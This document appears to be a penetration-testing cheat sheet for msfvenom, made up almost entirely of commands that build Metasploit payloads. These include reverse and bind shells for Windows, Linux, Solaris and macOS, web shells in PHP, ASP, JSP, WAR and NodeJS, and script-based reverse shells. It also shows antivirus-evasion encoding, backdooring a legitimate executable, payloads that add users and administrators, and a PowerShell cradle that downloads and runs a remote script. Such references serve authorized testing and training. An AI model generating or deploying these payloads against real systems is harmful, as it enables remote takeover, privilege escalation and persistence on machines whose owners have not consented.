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MSFVenom - CheatSheet

msfvenom -p (PAYLOAD) -e (ENCODER) -f (FORMAT) -i (ENCODE COUNT) LHOST=(IP) 

One can also use the -a to specify the architecture or the –platform

Listing

msfvenom -l #Payloads

msfvenom -l encoders #Encoders 

Common params when creating a shellcode

 -b "\x00\x0a\x0d" 

 -f c 

 -e x86/shikata_ga_nai -i 5 

EXITFUNC=thread 

 PrependSetuid=True #Use this to create a shellcode that will execute something with SUID 

Windows

Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe 

Bind Shell

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe 

Create User

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe 

CMD Shell

 msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe 

Execute Command

 msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe 

msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe 

Encoder

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe 

Embedded inside executable

msfvenom -p windows/shell_reverse_tcp LHOST=(IP) LPORT=(PORT) -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe 

Linux Payloads

Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf 

msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf 

Bind Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf 

SunOS (Solaris)

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf 

MAC Payloads

Reverse Shell

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho 

Bind Shell

msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho 

Web Based Payloads

PHP Reverse Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=(IP) LPORT=(PORT) -f raw > shell.php 

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php 

ASP/x Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx 

JSP Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp 

WAR Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war 

NodeJS Reverse Shell

msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) 

Script Language payloads — Perl

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl 

Python

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py 

Bash

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh </pre>